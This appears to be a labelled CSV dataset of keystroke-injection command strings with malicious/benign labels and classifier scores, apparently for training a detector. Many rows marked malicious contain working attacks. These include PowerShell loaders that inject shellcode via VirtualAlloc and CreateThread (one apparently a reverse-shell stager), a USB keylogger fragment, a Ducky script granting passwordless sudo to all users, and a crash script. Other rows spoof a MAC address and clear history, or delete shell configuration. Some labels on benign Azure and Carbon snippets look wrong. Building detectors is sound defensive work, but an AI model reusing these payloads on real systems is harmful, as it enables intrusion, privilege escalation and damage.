"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x44,0x68,0x02,0x00,0x00,0x64,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r powershell enter function Get-USBKeystrokes { $RemoteScriptBlock = { [CmdletBinding()] Param( enter [Parameter(Position = 0, Mandatory = $true)] [String] $CShardDLLBytes ) enter $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Conv enter ert]::FromBase64String($CShardDLLBytes),[IO.Compression.CompressionMode]::Decomp enter ress) $UncompressedFileBytes = New-Object Byte[](624640) enter enter",1,1,0.00012089701,0.9998791
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_r3bo9yn2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_200.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4174438e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_84cja6u7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_75.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.391936e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ztnlpeyq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3845983e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_gr3q8mg9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4570665e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_wrbcrdj2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4099885e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_s8k7esce"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_50.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3899643e-05
"win+r powershell enter $registryName = ""<container-registry-name>"" $resourceGroup = ""<resource-group-na enter me>"" $servicePrincipalId = ""<service-principal-id>"" $registry = Get-AzContainer enter Registry -ResourceGroupName $resourceGroup -Name $registryName $sp = Get-AzADSe enter rvicePrincipal -ServicePrincipalName $servicePrincipalId $role = New-AzRoleAssi enter gnment -ObjectId $sp.Id -RoleDefinitionName acrpull -Scope $registry.Id enter enter",0,1,0.013998333,0.9860016
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_atsn1u32"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996674,3.3240936e-05
"win+r powershell enter $J8Vt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $J8Vt - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xe5 enter ,0xd9,0x74,0x24,0xf4,0xbb,0x47,0x10,0x62,0xef,0x58,0x2b,0xc9,0xb1,0x47,0x31,0x58 enter ,0x18,0x03,0x58,0x18,0x83,0xe8,0xbb,0xf2,0x97,0x13,0xab,0x71,0x57,0xec,0x2b,0x16 enter ,0xd1,0x09,0x1a,0x16,0x85,0x5a,0x0c,0xa6,0xcd,0x0f,0xa0,0x4d,0x83,0xbb,0x33,0x23 enter ,0x0c,0xcb,0xf4,0x8e,0x6a,0xe2,0x05,0xa2,0x4f,0x65,0x85,0xb9,0x83,0x45,0xb4,0x71 enter ,0xd6,0x84,0xf1,0x6c enter enter",1,1,5.374735e-05,0.99994624
"win+r powershell enter Install-Module Coveralls -MinimumVersion 1.0.25 -Scope CurrentUser -Force -Error enter Action Stop Import-Module Coveralls -Force -ErrorAction Stop $coverageSet = @('H enter elpers\PoshGit.ps1','Helpers\Prompt.ps1') $res = Invoke-Pester -CodeCoverage $co enter verageSet -OutputFormat NUnitXml -OutputFile TestsResults.xml -PassThru -EnableE enter xit (New-Object 'System.Net.WebClient').UploadFile(""https://ci.appveyor.com/api/ enter testresults/nunit/$($env:APPVEYOR_JOB_ID)"", (Resolve-Path .\TestsResults.xml)) i enter f (!$ENV:CA_KEY) { $ENV:CA_KEY = ""14mb4l0n1"" } $coverageResult = Format-Coverag enter e -PesterResults $res -CoverallsApiToken $ENV:CA_KEY -BranchName $ENV:APPVEYOR_R enter EPO_BRANCH Publish-Coverage -Coverage $coverageResult $c = '[DllImport(""kernel32 enter .dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, u enter int flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static e enter xtern IntPtr CreateT enter",1,1,9.2833354e-05,0.99990714
"win+r enter powershell enter enter enter $rEt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $rEt -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd2,0xba,0xe1,0x17,0x4e,0x56,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xb1,0x5a,0x31,0x56,0x17,0x03,0x56,0x17,0x83,0x0f,0xeb,0xac,0xa3,0x33,0xfc,0xb3,0x4c,0xcb,0xfd,0xd3,0xc5,0x2e,0xcc,0xd3,0xb2,0x3b,0x7f,0xe4,0xb1,0x69,0x8c,0x8f,0x94,0x99,0x07,0xfd,0x30,0xae,0xa0,0x48,0x67,0x81,0x31,0xe0,0x5b,0x80,0xb1,0xfb,0x8f,0x62,0x8b,0x33,0xc2,0x63,0xcc,0x2e,0x2f,0x31,0x85,0x25,0x82,0xa5,0xa2,0x70,0x1f,0x4e,0xf8,0x95,0x27,0xb3,0x49,0x97,0x06,0x62,0xc1,0xce,0x88,0x85,0x06,0x7b,0x81,0x9d,0x4b,0x46,0x5b,0x16,0xbf,0x3c,0x5a,0xfe,0xf1,0xbd,0xf1,0x3f,0x3e,0x4c,0x0b,0x78,0xf9,0xaf,0x7e,0x70,0xf9,0x52,0x79,0x47,0x83,0x88,0x0c,0x53,0x23,0x5a,0xb6,0xbf,0xd5,0x8f,0x21,0x34,0xd9,0x64,0x25,0x12,0xfe,0x7b,0xea,0x29,0xfa,0xf0,0x0d,0xfd,0x8a,0x43,0x2a,0xd9,0xd7,0x10,0x53,0x78,0xb2,0xf7,0x6c,0x9a,0x1d,0xa7,0xc8,0xd1,0xb0,0xbc,0x60,0xb8,0xdc,0x71,0x49,0x42,0x1d,0x1e,0xda,0x31,0x2f,0x81,0x70,0xdd,0x03,0x4a,0x5f,0x1a,0x63,0x61,0x27,0xb4,0x9a,0x8a,0x58,0x9d,0x58,0xde,0x08,0xb5,0x49,0x5f,0xc3,0x45,0x75,0x8a,0x44,0x15,0xd9,0x65,0x25,0xc5,0x99,0xd5,0xcd,0x0f,0x16,0x09,0xed,0x30,0xfc,0x22,0x06,0x8e,0xff,0x4c,0xd7,0x79,0x65,0x2f,0xb4,0xf6,0x16,0x81,0x49,0x81,0xac,0xb8,0xde,0x5f,0x23,0x26,0x55,0x9f,0xe3,0xf0,0xcd,0xc7,0x4b,0x59,0xb6,0xaf,0x33,0x01,0x1e,0x17,0x9c,0xe9,0xc6,0xff,0x44,0x52,0xaf,0xa7,0x2c,0x3a,0x17,0x0f,0x95,0xe2,0xff,0xf7,0x7d,0x4b,0x58,0x5f,0x26,0x33,0x00,0x07,0x8e,0x9b,0xe8,0xef,0x76,0x44,0x51,0x57,0xdf,0x2c,0x61,0x0f,0x76,0xe4,0x55,0x4f,0x77,0x20,0x1e,0x0f,0x94,0xa1,0x24,0xdf,0xcc,0x37,0x27,0xde,0xb7,0xb1,0xc1,0x8a,0xd7,0x97,0x5a,0x22,0x41,0xb2,0x11,0xd3,0x8e,0x68,0x5c,0xd3,0x05,0x9f,0xa0,0x9d,0xed,0xea,0xb2,0x49,0x1e,0xa1,0xe9,0xdf,0x21,0x1f,0x87,0xdf,0xb7,0xa4,0x0e,0x88,0x2f,0xa7,0x77,0xfe,0xef,0x58,0x52,0x75,0x39,0xcd,0x1d,0xe1,0x46,0x01,0x9e,0xf1,0x10,0x4b,0x9e,0x99,0xc4,0x2f,0xcd,0xbc,0x0a,0xfa,0x61,0x6d,0x9f,0x05,0xd0,0xc2,0x08,0x6e,0xde,0x3d,0x7e,0x31,0x21,0x68,0x7e,0x0d,0xf4,0x54,0xf4,0x7f,0xc4;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$upZ=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($upZ.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$upZ,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2374e-05,0.99994767
delay_short enter unknown_key_action CRTL-ALT t enter delay_long enter rm ~/.zshrc enter delay_short enter enter enter delay_short enter cp /etc/skel/.bashrc ~/ enter delay_short enter enter enter unknown_key_action DLEAY 200 enter source ~/.bashrc enter delay_short enter enter,1,1,5.5177392e-05,0.9999448
"win+r powershell enter $o4m = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $o4m -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0x42,0 enter x73,0x9f,0x7a,0xd9,0xc5,0xd9,0x74,0x24,0xf4,0x5f,0x2b,0xc9,0xb1,0x4e,0x31,0x5f,0 enter x15,0x83,0xc7,0x04,0x03,0x5f,0x11,0xe2,0xb7,0x8f,0x77,0xf8,0x37,0x70,0x88,0x9d,0 enter xbe,0x95,0xb9,0x9d,0xa4,0xde,0xea,0x2d,0xaf,0xb3,0x06,0xc5,0xfd,0x27,0x9c,0xab,0 enter x29,0x47,0x15,0x01,0x0f,0x66,0xa6,0x3a,0x73,0xe9,0x24,0x41,0xa7,0xc9,0x15,0x8a,0 enter xba,0x08,0x51,0xf7,0 enter enter",1,1,5.4258882e-05,0.99994576
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_eqf90xim"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*audio*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter",0,0,0.9999664,3.3650984e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_km9wifml"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3935186e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_p1hzr89k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4955552e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: H4K0N42 enter REM Title: Rickroll+BSOD enter REM Target: Windows 10/11 enter REM Description: Rickrolls the target and crashes the pc enter REM enter REM enter REM Run Attack enter GUI r enter DELAY 250 enter STRING powershell -w hidden ""start https://shattereddisk.github.io/rickroll/rickroll.mp4; timeout /NOBREAK /t 20; wininit"" enter REM enter REM enter REM Get Admin-Permission enter CTRL SHIFT ENTER enter DELAY 750 enter REM enter REM !!!CHANGE THIS TO YOUR LANGUAGE!!! (ALT+Y for ""Yes"" in English, ALT+J for ""Ja"" in German) enter ALT Y enter REM enter REM enter REM Fullscreen Rickroll enter DELAY 3000 enter F11 enter DUCKY_REAL_END enter",1,1,6.0291793e-05,0.9999397
DUCKY_REAL_BEGIN enter REM Author: Jesse Wallace (@c0deous) https://c0deo.us enter REM This script adds a line into /etc/sudoers that enables sudo for ALL users without requiring a password. Only requirement is a reboot into single user mode. enter REM note that you will need to open a terminal yourself enter REM Enables Sudo access for all users without a password enter DELAY 1000 enter STRING mount -uw / && chmod 755 /etc/sudoers && echo 'ALL ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers && chmod 440 /etc/sudoers && shutdown -h now enter ENTER enter REM Now would be a great time to install a backdoor. Ez root ;3 enter REM TODO Use visudo for edits (unconfirmed if working) enter DUCKY_REAL_END,1,1,5.8022397e-05,0.99994195
"DUCKY_REAL_BEGIN enter REM ############################################################ enter REM # | enter REM # Title : Send Messages In Discord Channel-Server | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Execution | enter REM # Target : Windows 10-11 | enter REM # | enter REM ############################################################ enter REM Requirements: enter REM - Internet connection enter REM - Discord Installed enter REM If, for example, the server is Hak5 and the channel in which you want to send the message is called usb-rubber-ducky then you should write just usb-rubber-ducky enter DEFINE #CHAT_NAME example enter REM Open Discord app enter GUI enter DELAY 1000 enter STRINGLN Discord enter REM This depends on the power of the computer and whether there are upgrades to be done enter DELAY 6000 enter REM Search by Discord keyboard shortcut and open it enter CTRL-k enter DELAY 500 enter STRINGLN #CHAT_NAME enter DELAY 500 enter STRINGLN_BLOCK enter Write here.. enter your... enter messages... enter END_STRINGLN enter ALT F4 enter DUCKY_REAL_END",1,1,5.9399303e-05,0.99994063
"win+r powershell enter function Write-InstallationCheckToFile { Param($installationchecks) if (Get-Mo enter dule Az.Profile -ListAvailable -ErrorAction Ignore) { Write-Warning ""Both Az a enter nd AzureRM modules were detected on your machine. Az and AzureRM modules cannot enter be imported in the same session or used in the same script or runbook. If you ar enter e running PowerShell in an environment you control you can use the 'Uninstall-Az enter ureRm' cmdlet to remove all AzureRm modules from your machine. "" + ""If you are enter running in Azure Automation, take care that none of your runbooks import both Az enter and AzureRM modules. More information can be found here: https://aka.ms/azps-mi enter gration-guide."" } $installationchecks.Add(""AzureRmSideBySideCheck"",""true"") t enter ry { enter",1,1,0.0042967433,0.9957033
win+r powershell enter [CmdletBinding()] param( ) Set-StrictMode -Version 'Latest' & (Join-Path -Path enter $PSScriptRoot -ChildPath 'Carbon\Import-Carbon.ps1' -Resolve) $installRoot = G enter et-PowerShellModuleInstallPath $carbonModuleRoot = Join-Path -Path $installRoot enter -ChildPath 'Carbon' Uninstall-Junction -Path $carbonModuleRoot enter,1,1,0.006554903,0.99344516
win+r powershell enter unknown_key_action ctrl alt t sudo su enter SUDO_PASS enter apt install net-tools enter INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}') enter ifconfig $INTERFACE down enter ifconfig $INTERFACE hw etherNEW_MAC enter ifconfig $INTERFACE up enter history -c enter exit enter enter,1,1,0.0002006002,0.99979943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_25knm8pi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3807337e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_gpzfme1t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4500976e-05
"win+r enter powershell enter enter enter function Get-CPowershellPath enter { enter enter [CmdletBinding()] enter param( enter [Switch] enter enter $x86 enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $psPath = $PSHOME enter if( Test-COSIs64Bit ) enter { enter if( Test-CPowerShellIs64Bit ) enter { enter if( $x86 ) enter { enter enter $psPath = $PSHOME -replace 'System32','SysWOW64' enter } enter } enter else enter { enter if( -not $x86 ) enter { enter enter $psPath = $PSHome -replace 'SysWOW64','sysnative' enter } enter } enter } enter else enter { enter enter $psPath = $PSHOME enter } enter enter Join-Path $psPath powershell.exe enter } enter enter",0,0,0.9999292,7.076197e-05
"DUCKY_REAL_BEGIN enter REM This script initiates a system disruption loop by enter REM continuously generating warning messages using the ""say"" command in macOS. enter REM Will continue to run after the terminal is closed enter REM To end the loop you need to Kill the PID enter REM Use the command <ps aux | grep 'sh -c while true; do say ""Warning: System compromised. Initiating disruption.""; done'> enter REM to find the PID enter REM Run the command 'Kill PID #' to end the warning message loop. enter REM Author: Narsty enter REM Title: System Disruption Loop enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Executions enter ID 05ac:021e Apple:Keyboard enter DELAY 500 enter GUI SPACE enter DELAY 500 enter STRING terminal enter DELAY 1000 enter ENTER enter DELAY 1000 enter STRING nohup sh -c 'while true; do say ""Warning: System compromised. Initiating disruption.""; done' >/dev/null 2>&1 & enter DELAY 500 enter GUI k enter DELAY 500 enter GUI w enter DELAY 500 enter ENTER enter DUCKY_REAL_END",1,1,6.0121107e-05,0.9999399
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install crystalreports2010runtime enter A enter enter enter,0,0,0.99995935,4.065261e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_by4gxdxf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4579964e-05
